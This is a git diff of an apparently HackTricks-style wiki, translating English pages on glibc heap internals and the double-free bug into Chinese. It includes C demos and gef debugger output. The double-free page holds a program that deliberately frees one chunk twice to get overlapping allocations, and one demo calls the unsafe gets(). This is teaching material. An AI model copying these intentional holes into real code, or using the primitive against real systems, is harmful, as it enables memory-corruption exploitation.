+((((unsigned int) (sz)) >> (SIZE_SZ == 8 ? 4 : 3)) - 2) /* The maximum fastbin request size we support */ @@ -208,43 +199,39 @@ typedef struct malloc_chunk *mfastbinptr; #define NFASTBINS (fastbin_index (request2size (MAX_FAST_SIZE)) + 1) ``` -
-Add a fastbin chunk example - +添加一个 fastbin 块示例 ```c #include #include int main(void) { - char *chunks[8]; - int i; +char *chunks[8]; +int i; - // Loop to allocate memory 8 times - for (i = 0; i < 8; i++) { - chunks[i] = malloc(24); - if (chunks[i] == NULL) { // Check if malloc failed - fprintf(stderr, "Memory allocation failed at iteration %d\n", i); - return 1; - } - printf("Address of chunk %d: %p\n", i, (void *)chunks[i]); - } +// Loop to allocate memory 8 times +for (i = 0; i < 8; i++) { +chunks[i] = malloc(24); +if (chunks[i] == NULL) { // Check if malloc failed +fprintf(stderr, "Memory allocation failed at iteration %d\n", i); +return 1; +} +printf("Address of chunk %d: %p\n", i, (void *)chunks[i]); +} - // Loop to free the allocated memory - for (i = 0; i < 8; i++) { - free(chunks[i]); - } +// Loop to free the allocated memory +for (i = 0; i < 8; i++) { +free(chunks[i]); +} - return 0; +return 0; } ``` +注意我们如何分配和释放8个相同大小的块,以便它们填满tcache,第八个块存储在快速块中。 -Note how we allocate and free 8 chunks of the same size so they fill the tcache and the eight one is stored in the fast chunk. - -Compile it and debug it with a breakpoint in the `ret` opcode from `main` function. then with `gef` you can see that the tcache bin is full and one chunk is in the fast bin: - +编译它并在`main`函数的`ret`操作码处设置断点进行调试。然后使用`gef`,你可以看到tcache bin已满,一个块在快速bin中: ```bash gef➤ heap bins ──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ──────────────────────────────────────────────────────────────────────────────── @@ -253,58 +240,54 @@ Tcachebins[idx=0, size=0x20, count=7] ← Chunk(addr=0xaaaaaaac1770, size=0x20, Fastbins[idx=0, size=0x20] ← Chunk(addr=0xaaaaaaac1790, size=0x20, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) Fastbins[idx=1, size=0x30] 0x00 ``` -
-### Unsorted bin +### 未排序的堆 -The unsorted bin is a **cache** used by the heap manager to make memory allocation quicker. Here's how it works: When a program frees a chunk, and if this chunk cannot be allocated in a tcache or fast bin and is not colliding with the top chunk, the heap manager doesn't immediately put it in a specific small or large bin. Instead, it first tries to **merge it with any neighbouring free chunks** to create a larger block of free memory. Then, it places this new chunk in a general bin called the "unsorted bin." +未排序的堆是一个 **缓存**,由堆管理器用于加快内存分配。其工作原理如下:当程序释放一个块时,如果该块无法在 tcache 或快速堆中分配,并且与顶部块不冲突,堆管理器不会立即将其放入特定的小或大堆中。相反,它首先尝试 **与任何相邻的空闲块合并**,以创建一个更大的空闲内存块。然后,它将这个新块放入一个称为“未排序堆”的通用堆中。 -When a program **asks for memory**, the heap manager **checks the unsorted bin** to see if there's a chunk of enough size. If it finds one, it uses it right away. If it doesn't find a suitable chunk in the unsorted bin, it moves all the chunks in this list to their corresponding bins, either small or large, based on their size. +当程序 **请求内存** 时,堆管理器 **检查未排序堆** 以查看是否有足够大小的块。如果找到一个,它会立即使用。如果在未排序堆中找不到合适的块,它会将此列表中的所有块移动到相应的堆中,基于它们的大小,分为小堆或大堆。 -Note that if a larger chunk is split in 2 halves and the rest is larger than MINSIZE, it'll be paced back into the unsorted bin. +请注意,如果一个较大的块被分成两半,并且其余部分大于 MINSIZE,它将被放回未排序堆中。 -So, the unsorted bin is a way to speed up memory allocation by quickly reusing recently freed memory and reducing the need for time-consuming searches and merges. +因此,未排序堆是一种通过快速重用最近释放的内存来加速内存分配的方法,从而减少耗时的搜索和合并的需要。 > [!CAUTION] -> Note that even if chunks are of different categories, if an available chunk is colliding with another available chunk (even if they belong originally to different bins), they will be merged. +> 请注意,即使块属于不同类别,如果一个可用块与另一个可用块发生冲突(即使它们最初属于不同的堆),它们也会被合并。
-Add a unsorted chunk example - +添加一个未排序块示例 ```c #include #include int main(void) { - char *chunks[9]; - int i; +char *chunks[9]; +int i; - // Loop to allocate memory 8 times - for (i = 0; i < 9; i++) { - chunks[i] = malloc(0x100); - if (chunks[i] == NULL) { // Check if malloc failed - fprintf(stderr, "Memory allocation failed at iteration %d\n", i); - return 1; - } - printf("Address of chunk %d: %p\n", i, (void *)chunks[i]); - } +// Loop to allocate memory 8 times +for (i = 0; i < 9; i++) { +chunks[i] = malloc(0x100); +if (chunks[i] == NULL) { // Check if malloc failed +fprintf(stderr, "Memory allocation failed at iteration %d\n", i); +return 1; +} +printf("Address of chunk %d: %p\n", i, (void *)chunks[i]); +} - // Loop to free the allocated memory - for (i = 0; i < 8; i++) { - free(chunks[i]); - } +// Loop to free the allocated memory +for (i = 0; i < 8; i++) { +free(chunks[i]); +} - return 0; +return 0; } ``` +注意我们如何分配和释放9个相同大小的块,以便它们**填充tcache**,而第八个块存储在未排序的bin中,因为它**对于fastbin来说太大**,而第九个块没有被释放,因此第九个和第八个**不会与顶部块合并**。 -Note how we allocate and free 9 chunks of the same size so they **fill the tcache** and the eight one is stored in the unsorted bin because it's **too big for the fastbin** and the nineth one isn't freed so the nineth and the eighth **don't get merged with the top chunk**. - -Compile it and debug it with a breakpoint in the `ret` opcode from `main` function. Then with `gef` you can see that the tcache bin is full and one chunk is in the unsorted bin: - +编译它并在`main`函数的`ret`操作码处设置断点进行调试。然后使用`gef`,你可以看到tcache bin已满,且一个块在未排序的bin中: ```bash gef➤ heap bins ──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ──────────────────────────────────────────────────────────────────────────────── @@ -319,23 +302,21 @@ Fastbins[idx=5, size=0x70] 0x00 Fastbins[idx=6, size=0x80] 0x00 ─────────────────────────────────────────────────────────────────────── Unsorted Bin for arena at 0xfffff7f90b00 ─────────────────────────────────────────────────────────────────────── [+] unsorted_bins[0]: fw=0xaaaaaaac1e10, bk=0xaaaaaaac1e10 - → Chunk(addr=0xaaaaaaac1e20, size=0x110, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) +→ Chunk(addr=0xaaaaaaac1e20, size=0x110, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) [+] Found 1 chunks in unsorted bin. ``` -
-### Small Bins +### 小型桶 -Small bins are faster than large bins but slower than fast bins. +小型桶比大型桶快,但比快速桶慢。 -Each bin of the 62 will have **chunks of the same size**: 16, 24, ... (with a max size of 504 bytes in 32bits and 1024 in 64bits). This helps in the speed on finding the bin where a space should be allocated and inserting and removing of entries on these lists. +62个桶中的每个桶将具有**相同大小的块**:16、24,...(在32位中最大大小为504字节,在64位中为1024字节)。这有助于加快查找应分配空间的桶以及在这些列表中插入和删除条目的速度。 -This is how the size of the small bin is calculated according to the index of the bin: - -- Smallest size: 2\*4\*index (e.g. index 5 -> 40) -- Biggest size: 2\*8\*index (e.g. index 5 -> 80) +小型桶的大小是根据桶的索引计算的: +- 最小大小:2\*4\*index(例如,索引5 -> 40) +- 最大大小:2\*8\*index(例如,索引5 -> 80) ```c // From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1711 #define NSMALLBINS 64 @@ -344,58 +325,52 @@ This is how the size of the small bin is calculated according to the index of th #define MIN_LARGE_SIZE ((NSMALLBINS - SMALLBIN_CORRECTION) * SMALLBIN_WIDTH) #define in_smallbin_range(sz) \ - ((unsigned long) (sz) < (unsigned long) MIN_LARGE_SIZE) +((unsigned long) (sz) < (unsigned long) MIN_LARGE_SIZE) #define smallbin_index(sz) \ - ((SMALLBIN_WIDTH == 16 ? (((unsigned) (sz)) >> 4) : (((unsigned) (sz)) >> 3))\ - + SMALLBIN_CORRECTION) +((SMALLBIN_WIDTH == 16 ? (((unsigned) (sz)) >> 4) : (((unsigned) (sz)) >> 3))\ ++ SMALLBIN_CORRECTION) ``` - -Function to choose between small and large bins: - +选择小型和大型内存池的函数: ```c #define bin_index(sz) \ - ((in_smallbin_range (sz)) ? smallbin_index (sz) : largebin_index (sz)) +((in_smallbin_range (sz)) ? smallbin_index (sz) : largebin_index (sz)) ``` -
-Add a small chunk example - +添加一个小块示例 ```c #include #include int main(void) { - char *chunks[10]; - int i; +char *chunks[10]; +int i; - // Loop to allocate memory 8 times - for (i = 0; i < 9; i++) { - chunks[i] = malloc(0x100); - if (chunks[i] == NULL) { // Check if malloc failed - fprintf(stderr, "Memory allocation failed at iteration %d\n", i); - return 1; - } - printf("Address of chunk %d: %p\n", i, (void *)chunks[i]); - } +// Loop to allocate memory 8 times +for (i = 0; i < 9; i++) { +chunks[i] = malloc(0x100); +if (chunks[i] == NULL) { // Check if malloc failed +fprintf(stderr, "Memory allocation failed at iteration %d\n", i); +return 1; +} +printf("Address of chunk %d: %p\n", i, (void *)chunks[i]); +} - // Loop to free the allocated memory - for (i = 0; i < 8; i++) { - free(chunks[i]); - } +// Loop to free the allocated memory +for (i = 0; i < 8; i++) { +free(chunks[i]); +} - chunks[9] = malloc(0x110); +chunks[9] = malloc(0x110); - return 0; +return 0; } ``` +注意我们如何分配和释放9个相同大小的块,以便它们**填充tcache**,而第八个块存储在未排序的bin中,因为它**对于fastbin来说太大**,而第九个块没有被释放,因此第九个和第八个**不会与顶部块合并**。然后我们分配一个更大的块0x110,这使得**未排序bin中的块进入小bin**。 -Note how we allocate and free 9 chunks of the same size so they **fill the tcache** and the eight one is stored in the unsorted bin because it's **too big for the fastbin** and the ninth one isn't freed so the ninth and the eights **don't get merged with the top chunk**. Then we allocate a bigger chunk of 0x110 which makes **the chunk in the unsorted bin goes to the small bin**. - -Compile it and debug it with a breakpoint in the `ret` opcode from `main` function. then with `gef` you can see that the tcache bin is full and one chunk is in the small bin: - +编译它并在`main`函数的`ret`操作码处设置断点进行调试。然后使用`gef`,你可以看到tcache bin已满,并且一个块在小bin中: ```bash gef➤ heap bins ──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ──────────────────────────────────────────────────────────────────────────────── @@ -412,96 +387,90 @@ Fastbins[idx=6, size=0x80] 0x00 [+] Found 0 chunks in unsorted bin. ──────────────────────────────────────────────────────────────────────── Small Bins for arena at 0xfffff7f90b00 ──────────────────────────────────────────────────────────────────────── [+] small_bins[16]: fw=0xaaaaaaac1e10, bk=0xaaaaaaac1e10 - → Chunk(addr=0xaaaaaaac1e20, size=0x110, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) +→ Chunk(addr=0xaaaaaaac1e20, size=0x110, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) [+] Found 1 chunks in 1 small non-empty bins. ``` -
-### Large bins +### 大型桶 -Unlike small bins, which manage chunks of fixed sizes, each **large bin handle a range of chunk sizes**. This is more flexible, allowing the system to accommodate **various sizes** without needing a separate bin for each size. +与管理固定大小块的小型桶不同,每个**大型桶处理一系列块大小**。这更灵活,允许系统容纳**各种大小**,而无需为每个大小单独设置一个桶。 -In a memory allocator, large bins start where small bins end. The ranges for large bins grow progressively larger, meaning the first bin might cover chunks from 512 to 576 bytes, while the next covers 576 to 640 bytes. This pattern continues, with the largest bin containing all chunks above 1MB. +在内存分配器中,大型桶从小型桶结束的地方开始。大型桶的范围逐渐增大,这意味着第一个桶可能覆盖从512到576字节的块,而下一个覆盖从576到640字节的块。这个模式持续下去,最大的桶包含所有超过1MB的块。 -Large bins are slower to operate compared to small bins because they must **sort and search through a list of varying chunk sizes to find the best fit** for an allocation. When a chunk is inserted into a large bin, it has to be sorted, and when memory is allocated, the system must find the right chunk. This extra work makes them **slower**, but since large allocations are less common than small ones, it's an acceptable trade-off. +与小型桶相比,大型桶的操作速度较慢,因为它们必须**对不同块大小的列表进行排序和搜索,以找到最佳适配**进行分配。当一个块被插入到大型桶中时,它必须被排序,而当内存被分配时,系统必须找到合适的块。这额外的工作使它们**速度较慢**,但由于大型分配不如小型分配常见,这是一种可接受的权衡。 -There are: +有: -- 32 bins of 64B range (collide with small bins) -- 16 bins of 512B range (collide with small bins) -- 8bins of 4096B range (part collide with small bins) -- 4bins of 32768B range -- 2bins of 262144B range -- 1bin for remaining sizes +- 32个64B范围的桶(与小型桶冲突) +- 16个512B范围的桶(与小型桶冲突) +- 8个4096B范围的桶(部分与小型桶冲突) +- 4个32768B范围的桶 +- 2个262144B范围的桶 +- 1个用于剩余大小的桶
-Large bin sizes code - +大型桶大小代码 ```c // From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1711 #define largebin_index_32(sz) \ - (((((unsigned long) (sz)) >> 6) <= 38) ? 56 + (((unsigned long) (sz)) >> 6) :\ - ((((unsigned long) (sz)) >> 9) <= 20) ? 91 + (((unsigned long) (sz)) >> 9) :\ - ((((unsigned long) (sz)) >> 12) <= 10) ? 110 + (((unsigned long) (sz)) >> 12) :\ - ((((unsigned long) (sz)) >> 15) <= 4) ? 119 + (((unsigned long) (sz)) >> 15) :\ - ((((unsigned long) (sz)) >> 18) <= 2) ? 124 + (((unsigned long) (sz)) >> 18) :\ - 126) +(((((unsigned long) (sz)) >> 6) <= 38) ? 56 + (((unsigned long) (sz)) >> 6) :\ +((((unsigned long) (sz)) >> 9) <= 20) ? 91 + (((unsigned long) (sz)) >> 9) :\ +((((unsigned long) (sz)) >> 12) <= 10) ? 110 + (((unsigned long) (sz)) >> 12) :\ +((((unsigned long) (sz)) >> 15) <= 4) ? 119 + (((unsigned long) (sz)) >> 15) :\ +((((unsigned long) (sz)) >> 18) <= 2) ? 124 + (((unsigned long) (sz)) >> 18) :\ +126) #define largebin_index_32_big(sz) \ - (((((unsigned long) (sz)) >> 6) <= 45) ? 49 + (((unsigned long) (sz)) >> 6) :\ - ((((unsigned long) (sz)) >> 9) <= 20) ? 91 + (((unsigned long) (sz)) >> 9) :\ - ((((unsigned long) (sz)) >> 12) <= 10) ? 110 + (((unsigned long) (sz)) >> 12) :\ - ((((unsigned long) (sz)) >> 15) <= 4) ? 119 + (((unsigned long) (sz)) >> 15) :\ - ((((unsigned long) (sz)) >> 18) <= 2) ? 124 + (((unsigned long) (sz)) >> 18) :\ - 126) +(((((unsigned long) (sz)) >> 6) <= 45) ? 49 + (((unsigned long) (sz)) >> 6) :\ +((((unsigned long) (sz)) >> 9) <= 20) ? 91 + (((unsigned long) (sz)) >> 9) :\ +((((unsigned long) (sz)) >> 12) <= 10) ? 110 + (((unsigned long) (sz)) >> 12) :\ +((((unsigned long) (sz)) >> 15) <= 4) ? 119 + (((unsigned long) (sz)) >> 15) :\ +((((unsigned long) (sz)) >> 18) <= 2) ? 124 + (((unsigned long) (sz)) >> 18) :\ +126) // XXX It remains to be seen whether it is good to keep the widths of // XXX the buckets the same or whether it should be scaled by a factor // XXX of two as well. #define largebin_index_64(sz) \ - (((((unsigned long) (sz)) >> 6) <= 48) ? 48 + (((unsigned long) (sz)) >> 6) :\ - ((((unsigned long) (sz)) >> 9) <= 20) ? 91 + (((unsigned long) (sz)) >> 9) :\ - ((((unsigned long) (sz)) >> 12) <= 10) ? 110 + (((unsigned long) (sz)) >> 12) :\ - ((((unsigned long) (sz)) >> 15) <= 4) ? 119 + (((unsigned long) (sz)) >> 15) :\ - ((((unsigned long) (sz)) >> 18) <= 2) ? 124 + (((unsigned long) (sz)) >> 18) :\ - 126) +(((((unsigned long) (sz)) >> 6) <= 48) ? 48 + (((unsigned long) (sz)) >> 6) :\ +((((unsigned long) (sz)) >> 9) <= 20) ? 91 + (((unsigned long) (sz)) >> 9) :\ +((((unsigned long) (sz)) >> 12) <= 10) ? 110 + (((unsigned long) (sz)) >> 12) :\ +((((unsigned long) (sz)) >> 15) <= 4) ? 119 + (((unsigned long) (sz)) >> 15) :\ +((((unsigned long) (sz)) >> 18) <= 2) ? 124 + (((unsigned long) (sz)) >> 18) :\ +126) #define largebin_index(sz) \ - (SIZE_SZ == 8 ? largebin_index_64 (sz) \ - : MALLOC_ALIGNMENT == 16 ? largebin_index_32_big (sz) \ - : largebin_index_32 (sz)) +(SIZE_SZ == 8 ? largebin_index_64 (sz) \ +: MALLOC_ALIGNMENT == 16 ? largebin_index_32_big (sz) \ +: largebin_index_32 (sz)) ``` -
-Add a large chunk example - +添加一个大块示例 ```c #include #include int main(void) { - char *chunks[2]; +char *chunks[2]; - chunks[0] = malloc(0x1500); - chunks[1] = malloc(0x1500); - free(chunks[0]); - chunks[0] = malloc(0x2000); +chunks[0] = malloc(0x1500); +chunks[1] = malloc(0x1500); +free(chunks[0]); +chunks[0] = malloc(0x2000); - return 0; +return 0; } ``` +进行两个大分配,然后释放一个(将其放入未排序的桶中),并进行更大的分配(将释放的分配从未排序的桶移动到大桶中)。 -2 large allocations are performed, then on is freed (putting it in the unsorted bin) and a bigger allocation in made (moving the free one from the usorted bin ro the large bin). - -Compile it and debug it with a breakpoint in the `ret` opcode from `main` function. then with `gef` you can see that the tcache bin is full and one chunk is in the large bin: - +编译并在`main`函数的`ret`操作码处设置断点进行调试。然后使用`gef`,你可以看到tcache桶已满,并且一个块在大桶中: ```bash gef➤ heap bin ──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ──────────────────────────────────────────────────────────────────────────────── @@ -520,117 +489,108 @@ Fastbins[idx=6, size=0x80] 0x00 [+] Found 0 chunks in 0 small non-empty bins. ──────────────────────────────────────────────────────────────────────── Large Bins for arena at 0xfffff7f90b00 ──────────────────────────────────────────────────────────────────────── [+] large_bins[100]: fw=0xaaaaaaac1290, bk=0xaaaaaaac1290 - → Chunk(addr=0xaaaaaaac12a0, size=0x1510, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) +→ Chunk(addr=0xaaaaaaac12a0, size=0x1510, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) [+] Found 1 chunks in 1 large non-empty bins. ``` -
-### Top Chunk - +### 顶部块 ```c // From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1711 /* - Top +Top - The top-most available chunk (i.e., the one bordering the end of - available memory) is treated specially. It is never included in - any bin, is used only if no other chunk is available, and is - released back to the system if it is very large (see - M_TRIM_THRESHOLD). Because top initially - points to its own bin with initial zero size, thus forcing - extension on the first malloc request, we avoid having any special - code in malloc to check whether it even exists yet. But we still - need to do so when getting memory from system, so we make - initial_top treat the bin as a legal but unusable chunk during the - interval between initialization and the first call to - sysmalloc. (This is somewhat delicate, since it relies on - the 2 preceding words to be zero during this interval as well.) - */ +The top-most available chunk (i.e., the one bordering the end of +available memory) is treated specially. It is never included in +any bin, is used only if no other chunk is available, and is +released back to the system if it is very large (see +M_TRIM_THRESHOLD). Because top initially +points to its own bin with initial zero size, thus forcing +extension on the first malloc request, we avoid having any special +code in malloc to check whether it even exists yet. But we still +need to do so when getting memory from system, so we make +initial_top treat the bin as a legal but unusable chunk during the +interval between initialization and the first call to +sysmalloc. (This is somewhat delicate, since it relies on +the 2 preceding words to be zero during this interval as well.) +*/ /* Conveniently, the unsorted bin can be used as dummy top on first call */ #define initial_top(M) (unsorted_chunks (M)) ``` +基本上,这是一个包含所有当前可用堆的块。当执行 malloc 时,如果没有可用的空闲块可供使用,这个顶块将会减少其大小以提供必要的空间。\ +指向顶块的指针存储在 `malloc_state` 结构中。 -Basically, this is a chunk containing all the currently available heap. When a malloc is performed, if there isn't any available free chunk to use, this top chunk will be reducing its size giving the necessary space.\ -The pointer to the Top Chunk is stored in the `malloc_state` struct. - -Moreover, at the beginning, it's possible to use the unsorted chunk as the top chunk. +此外,在开始时,可以将未排序块用作顶块。
-Observe the Top Chunk example - +观察顶块示例 ```c #include #include int main(void) { - char *chunk; - chunk = malloc(24); - printf("Address of the chunk: %p\n", (void *)chunk); - gets(chunk); - return 0; +char *chunk; +chunk = malloc(24); +printf("Address of the chunk: %p\n", (void *)chunk); +gets(chunk); +return 0; } ``` - -After compiling and debugging it with a break point in the `ret` opcode of `main` I saw that the malloc returned the address `0xaaaaaaac12a0` and these are the chunks: - +在编译并在 `main` 的 `ret` 操作码处调试时,我看到 malloc 返回了地址 `0xaaaaaaac12a0`,这些是块: ```bash gef➤ heap chunks Chunk(addr=0xaaaaaaac1010, size=0x290, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) - [0x0000aaaaaaac1010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................] +[0x0000aaaaaaac1010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................] Chunk(addr=0xaaaaaaac12a0, size=0x20, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) - [0x0000aaaaaaac12a0 41 41 41 41 41 41 41 00 00 00 00 00 00 00 00 00 AAAAAAA.........] +[0x0000aaaaaaac12a0 41 41 41 41 41 41 41 00 00 00 00 00 00 00 00 00 AAAAAAA.........] Chunk(addr=0xaaaaaaac12c0, size=0x410, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) - [0x0000aaaaaaac12c0 41 64 64 72 65 73 73 20 6f 66 20 74 68 65 20 63 Address of the c] +[0x0000aaaaaaac12c0 41 64 64 72 65 73 73 20 6f 66 20 74 68 65 20 63 Address of the c] Chunk(addr=0xaaaaaaac16d0, size=0x410, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) - [0x0000aaaaaaac16d0 41 41 41 41 41 41 41 0a 00 00 00 00 00 00 00 00 AAAAAAA.........] +[0x0000aaaaaaac16d0 41 41 41 41 41 41 41 0a 00 00 00 00 00 00 00 00 AAAAAAA.........] Chunk(addr=0xaaaaaaac1ae0, size=0x20530, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) ← top chunk ``` - -Where it can be seen that the top chunk is at address `0xaaaaaaac1ae0`. This is no surprise because the last allocated chunk was in `0xaaaaaaac12a0` with a size of `0x410` and `0xaaaaaaac12a0 + 0x410 = 0xaaaaaaac1ae0` .\ -It's also possible to see the length of the Top chunk on its chunk header: - +可以看到顶部块位于地址 `0xaaaaaaac1ae0`。这并不奇怪,因为最后分配的块在 `0xaaaaaaac12a0`,大小为 `0x410`,并且 `0xaaaaaaac12a0 + 0x410 = 0xaaaaaaac1ae0`。\ +还可以在其块头中看到顶部块的长度: ```bash gef➤ x/8wx 0xaaaaaaac1ae0 - 16 0xaaaaaaac1ad0: 0x00000000 0x00000000 0x00020531 0x00000000 0xaaaaaaac1ae0: 0x00000000 0x00000000 0x00000000 0x00000000 ``` -
-### Last Remainder +### 最后剩余 -When malloc is used and a chunk is divided (from the unsorted bin or from the top chunk for example), the chunk created from the rest of the divided chunk is called Last Remainder and it's pointer is stored in the `malloc_state` struct. +当使用 malloc 并且一个块被分割(例如,从未排序的 bin 或从顶部块),从分割块的其余部分创建的块称为最后剩余,其指针存储在 `malloc_state` 结构中。 -## Allocation Flow +## 分配流程 -Check out: +查看: {{#ref}} heap-memory-functions/malloc-and-sysmalloc.md {{#endref}} -## Free Flow +## 释放流程 -Check out: +查看: {{#ref}} heap-memory-functions/free.md {{#endref}} -## Heap Functions Security Checks +## 堆函数安全检查 -Check the security checks performed by heavily used functions in heap in: +检查堆中被广泛使用的函数执行的安全检查: {{#ref}} heap-memory-functions/heap-functions-security-checks.md {{#endref}} -## References +## 参考文献 - [https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/](https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/) - [https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/](https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/) diff --git a/src/binary-exploitation/libc-heap/double-free.md b/src/binary-exploitation/libc-heap/double-free.md index a30116d58..275878b17 100644 --- a/src/binary-exploitation/libc-heap/double-free.md +++ b/src/binary-exploitation/libc-heap/double-free.md @@ -2,91 +2,89 @@ {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## 基本信息 -If you free a block of memory more than once, it can mess up the allocator's data and open the door to attacks. Here's how it happens: when you free a block of memory, it goes back into a list of free chunks (e.g. the "fast bin"). If you free the same block twice in a row, the allocator detects this and throws an error. But if you **free another chunk in between, the double-free check is bypassed**, causing corruption. +如果你多次释放一个内存块,它可能会破坏分配器的数据并打开攻击的门。事情是这样的:当你释放一个内存块时,它会返回到一个空闲块的列表中(例如,“快速 bin”)。如果你连续两次释放同一个块,分配器会检测到这一点并抛出错误。但是如果你**在两次释放之间释放了另一个块,双重释放检查就会被绕过**,导致损坏。 -Now, when you ask for new memory (using `malloc`), the allocator might give you a **block that's been freed twice**. This can lead to two different pointers pointing to the same memory location. If an attacker controls one of those pointers, they can change the contents of that memory, which can cause security issues or even allow them to execute code. - -Example: +现在,当你请求新的内存(使用 `malloc`)时,分配器可能会给你一个**已经被释放两次的块**。这可能导致两个不同的指针指向同一个内存位置。如果攻击者控制了其中一个指针,他们可以更改该内存的内容,这可能导致安全问题,甚至允许他们执行代码。 +示例: ```c #include #include int main() { - // Allocate memory for three chunks - char *a = (char *)malloc(10); - char *b = (char *)malloc(10); - char *c = (char *)malloc(10); - char *d = (char *)malloc(10); - char *e = (char *)malloc(10); - char *f = (char *)malloc(10); - char *g = (char *)malloc(10); - char *h = (char *)malloc(10); - char *i = (char *)malloc(10); +// Allocate memory for three chunks +char *a = (char *)malloc(10); +char *b = (char *)malloc(10); +char *c = (char *)malloc(10); +char *d = (char *)malloc(10); +char *e = (char *)malloc(10); +char *f = (char *)malloc(10); +char *g = (char *)malloc(10); +char *h = (char *)malloc(10); +char *i = (char *)malloc(10); - // Print initial memory addresses - printf("Initial allocations:\n"); - printf("a: %p\n", (void *)a); - printf("b: %p\n", (void *)b); - printf("c: %p\n", (void *)c); - printf("d: %p\n", (void *)d); - printf("e: %p\n", (void *)e); - printf("f: %p\n", (void *)f); - printf("g: %p\n", (void *)g); - printf("h: %p\n", (void *)h); - printf("i: %p\n", (void *)i); +// Print initial memory addresses +printf("Initial allocations:\n"); +printf("a: %p\n", (void *)a); +printf("b: %p\n", (void *)b); +printf("c: %p\n", (void *)c); +printf("d: %p\n", (void *)d); +printf("e: %p\n", (void *)e); +printf("f: %p\n", (void *)f); +printf("g: %p\n", (void *)g); +printf("h: %p\n", (void *)h); +printf("i: %p\n", (void *)i); - // Fill tcache - free(a); - free(b); - free(c); - free(d); - free(e); - free(f); - free(g); +// Fill tcache +free(a); +free(b); +free(c); +free(d); +free(e); +free(f); +free(g); - // Introduce double-free vulnerability in fast bin - free(h); - free(i); - free(h); +// Introduce double-free vulnerability in fast bin +free(h); +free(i); +free(h); - // Reallocate memory and print the addresses - char *a1 = (char *)malloc(10); - char *b1 = (char *)malloc(10); - char *c1 = (char *)malloc(10); - char *d1 = (char *)malloc(10); - char *e1 = (char *)malloc(10); - char *f1 = (char *)malloc(10); - char *g1 = (char *)malloc(10); - char *h1 = (char *)malloc(10); - char *i1 = (char *)malloc(10); - char *i2 = (char *)malloc(10); +// Reallocate memory and print the addresses +char *a1 = (char *)malloc(10); +char *b1 = (char *)malloc(10); +char *c1 = (char *)malloc(10); +char *d1 = (char *)malloc(10); +char *e1 = (char *)malloc(10); +char *f1 = (char *)malloc(10); +char *g1 = (char *)malloc(10); +char *h1 = (char *)malloc(10); +char *i1 = (char *)malloc(10); +char *i2 = (char *)malloc(10); - // Print initial memory addresses - printf("After reallocations:\n"); - printf("a1: %p\n", (void *)a1); - printf("b1: %p\n", (void *)b1); - printf("c1: %p\n", (void *)c1); - printf("d1: %p\n", (void *)d1); - printf("e1: %p\n", (void *)e1); - printf("f1: %p\n", (void *)f1); - printf("g1: %p\n", (void *)g1); - printf("h1: %p\n", (void *)h1); - printf("i1: %p\n", (void *)i1); - printf("i2: %p\n", (void *)i2); +// Print initial memory addresses +printf("After reallocations:\n"); +printf("a1: %p\n", (void *)a1); +printf("b1: %p\n", (void *)b1); +printf("c1: %p\n", (void *)c1); +printf("d1: %p\n", (void *)d1); +printf("e1: %p\n", (void *)e1); +printf("f1: %p\n", (void *)f1); +printf("g1: %p\n", (void *)g1); +printf("h1: %p\n", (void *)h1); +printf("i1: %p\n", (void *)i1); +printf("i2: %p\n", (void *)i2); - return 0; +return 0; } ``` +在这个例子中,填充 tcache 以包含多个已释放的块(7)后,代码 **释放块 `h`,然后是块 `i`,再然后是 `h`,导致双重释放**(也称为 Fast Bin dup)。这打开了在重新分配时接收重叠内存地址的可能性,这意味着两个或多个指针可以指向同一内存位置。通过一个指针操纵数据可能会影响另一个指针,从而造成严重的安全风险和潜在的利用。 -In this example, after filling the tcache with several freed chunks (7), the code **frees chunk `h`, then chunk `i`, and then `h` again, causing a double free** (also known as Fast Bin dup). This opens the possibility of receiving overlapping memory addresses when reallocating, meaning two or more pointers can point to the same memory location. Manipulating data through one pointer can then affect the other, creating a critical security risk and potential for exploitation. +执行时,请注意 **`i1` 和 `i2` 得到了相同的地址**: -Executing it, note how **`i1` and `i2` got the same address**: - -
Initial allocations:
+
初始分配:
 a: 0xaaab0f0c22a0
 b: 0xaaab0f0c22c0
 c: 0xaaab0f0c22e0
@@ -96,7 +94,7 @@ f: 0xaaab0f0c2340
 g: 0xaaab0f0c2360
 h: 0xaaab0f0c2380
 i: 0xaaab0f0c23a0
-After reallocations:
+重新分配后:
 a1: 0xaaab0f0c2360
 b1: 0xaaab0f0c2340
 c1: 0xaaab0f0c2320
@@ -109,23 +107,23 @@ h1: 0xaaab0f0c2380
 i2: 0xaaab0f0c23a0
 
